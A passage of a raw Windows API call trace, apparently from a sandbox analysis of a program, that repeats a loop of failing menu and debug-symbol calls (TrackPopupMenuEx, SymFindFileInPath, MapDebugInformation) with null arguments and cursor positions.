TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=573, param_4=168, param_5=0x0, param_6=0x0) returned 0 [0141.092] GetLastError () returned 0x579 [0141.092] SetLastError (dwErrCode=0x579) [0141.092] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.092] SymCleanup (hProcess=0x0) returned 0 [0141.092] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.092] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.092] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.092] GetLastError () returned 0x579 [0141.092] SetLastError (dwErrCode=0x579) [0141.092] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.092] SymCleanup (hProcess=0x0) returned 0 [0141.092] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.092] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.092] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.092] GetLastError () returned 0x579 [0141.093] SetLastError (dwErrCode=0x579) [0141.093] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.093] SymCleanup (hProcess=0x0) returned 0 [0141.093] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.093] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.093] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.093] GetLastError () returned 0x579 [0141.093] SetLastError (dwErrCode=0x579) [0141.093] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.093] SymCleanup (hProcess=0x0) returned 0 [0141.093] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.093] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.093] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.093] GetLastError () returned 0x579 [0141.093] SetLastError (dwErrCode=0x579) [0141.093] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.093] SymCleanup (hProcess=0x0) returned 0 [0141.093] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.093] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.093] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=346, param_4=872, param_5=0x0, param_6=0x0) returned 0 [0141.093] GetLastError () returned 0x579 [0141.093] SetLastError (dwErrCode=0x579) [0141.093] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.093] SymCleanup (hProcess=0x0) returned 0 [0141.094] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.094] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.094] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.094] GetLastError () returned 0x579 [0141.094] SetLastError (dwErrCode=0x579) [0141.094] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.094] SymCleanup (hProcess=0x0) returned 0 [0141.094] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.094] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.094] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.094] GetLastError () returned 0x579 [0141.094] SetLastError (dwErrCode=0x579) [0141.094] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.094] SymCleanup (hProcess=0x0) returned 0 [0141.094] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.094] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.094] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.094] GetLastError () returned 0x579 [0141.094] SetLastError (dwErrCode=0x579) [0141.094] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.094] SymCleanup (hProcess=0x0) returned 0 [0141.094] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.095] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.095] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.095] GetLastError () returned 0x579 [0141.095] SetLastError (dwErrCode=0x579) [0141.095] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.095] SymCleanup (hProcess=0x0) returned 0 [0141.095] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.095] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.095] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=125, param_4=783, param_5=0x0, param_6=0x0) returned 0 [0141.095] GetLastError () returned 0x579 [0141.095] SetLastError (dwErrCode=0x579) [0141.095] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.095] SymCleanup (hProcess=0x0) returned 0 [0141.095] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.095] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.095] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.095] GetLastError () returned 0x579 [0141.095] SetLastError (dwErrCode=0x579) [0141.095] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.095] SymCleanup (hProcess=0x0) returned 0 [0141.095] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.095] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.096] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.096] GetLastError () returned 0x579 [0141.096] SetLastError (dwErrCode=0x579) [0141.096] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.096] SymCleanup (hProcess=0x0) returned 0 [0141.096] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.096] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.096] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.096] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.096] GetLastError () returned 0x579 [0141.096] SetLastError (dwErrCode=0x579) [0141.096] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.096] SymCleanup (hProcess=0x0) returned 0 [0141.097] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.097] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.097] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.097] GetLastError () returned 0x579 [0141.097] SetLastError (dwErrCode=0x579) [0141.097] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.097] SymCleanup (hProcess=0x0) returned 0 [0141.097] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.097] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.097] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1298, param_4=535, param_5=0x0, param_6=0x0) returned 0 [0141.097] GetLastError () returned 0x579 [0141.097] SetLastError (dwErrCode=0x579) [0141.097] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.097] SymCleanup (hProcess=0x0) returned 0 [0141.097] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.097] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.097] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.097] GetLastError () returned 0x579 [0141.097] SetLastError (dwErrCode=0x579) [0141.097] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.097] SymCleanup (hProcess=0x0) returned 0 [0141.097] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.097] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.098] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.098] GetLastError () returned 0x579 [0141.098] SetLastError (dwErrCode=0x579) [0141.098] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.098] SymCleanup (hProcess=0x0) returned 0 [0141.098] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.098] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.098] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.098] GetLastError () returned 0x579 [0141.098] SetLastError (dwErrCode=0x579) [0141.098] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.098] SymCleanup (hProcess=0x0) returned 0 [0141.098] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.098] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.098] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.098] GetLastError () returned 0x579 [0141.098] SetLastError (dwErrCode=0x579) [0141.098] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.098] SymCleanup (hProcess=0x0) returned 0 [0141.098] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.098] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.098] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1221, param_4=726, param_5=0x0, param_6=0x0) returned 0 [0141.098] GetLastError () returned 0x579 [0141.098] SetLastError (dwErrCode=0x579) [0141.099] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.099] SymCleanup (hProcess=0x0) returned 0 [0141.099] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.099] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.099] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.099] GetLastError () returned 0x579 [0141.099] SetLastError (dwErrCode=0x579) [0141.099] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.099] SymCleanup (hProcess=0x0) returned 0 [0141.099] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.099] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.099] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.099] GetLastError () returned 0x579 [0141.099] SetLastError (dwErrCode=0x579) [0141.099] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.099] SymCleanup (hProcess=0x0) returned 0 [0141.099] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.099] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.099] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.099] GetLastError () returned 0x579 [0141.099] SetLastError (dwErrCode=0x579) [0141.099] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.099] SymCleanup (hProcess=0x0) returned 0 [0141.099] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.099] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.100] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.100] GetLastError () returned 0x579 [0141.100] SetLastError (dwErrCode=0x579) [0141.100] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.100] SymCleanup (hProcess=0x0) returned 0 [0141.100] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.100] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.100] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1298, param_4=395, param_5=0x0, param_6=0x0) returned 0 [0141.100] GetLastError () returned 0x579 [0141.100] SetLastError (dwErrCode=0x579) [0141.100] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.100] SymCleanup (hProcess=0x0) returned 0 [0141.100] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.100] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.100] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.100] GetLastError () returned 0x579 [0141.100] SetLastError (dwErrCode=0x579) [0141.100] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.100] SymCleanup (hProcess=0x0) returned 0 [0141.100] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.100] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.100] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.101] GetLastError () returned 0x579 [0141.101] SetLastError (dwErrCode=0x579) [0141.101] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.101] SymCleanup (hProcess=0x0) returned 0 [0141.101] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.101] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.101] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.101] GetLastError () returned 0x579 [0141.101] SetLastError (dwErrCode=0x579) [0141.101] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.101] SymCleanup (hProcess=0x0) returned 0 [0141.101] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.101] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.101] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.101] GetLastError () returned 0x579 [0141.101] SetLastError (dwErrCode=0x579) [0141.101] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.101] SymCleanup (hProcess=0x0) returned 0 [0141.101] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.101] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.101] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1127, param_4=589, param_5=0x0, param_6=0x0) returned 0 [0141.101] GetLastError () returned 0x579 [0141.102] SetLastError (dwErrCode=0x579) [0141.102] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.102] SymCleanup (hProcess=0x0) returned 0 [0141.102] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.102] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.102] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.102] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.102] GetLastError () returned 0x579 [0141.102] SetLastError (dwErrCode=0x579) [0141.102] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.102] SymCleanup (hProcess=0x0) returned 0 [0141.102] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.102] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.102] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.102] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.102] GetLastError () returned 0x579 [0141.102] SetLastError (dwErrCode=0x579) [0141.102] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.102] SymCleanup (hProcess=0x0) returned 0 [0141.102] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.102] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.102] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.102] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.102] GetLastError () returned 0x579 [0141.103] SetLastError (dwErrCode=0x579) [0141.103] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.103] SymCleanup (hProcess=0x0) returned 0 [0141.103] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.103] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.103] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.103] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.103] GetLastError () returned 0x579 [0141.103] SetLastError (dwErrCode=0x579) [0141.103] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.103] SymCleanup (hProcess=0x0) returned 0 [0141.103] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.103] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.103] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.103] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1292, param_4=256, param_5=0x0, param_6=0x0) returned 0 [0141.103] GetLastError () returned 0x579 [0141.103] SetLastError (dwErrCode=0x579) [0141.103] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.103] 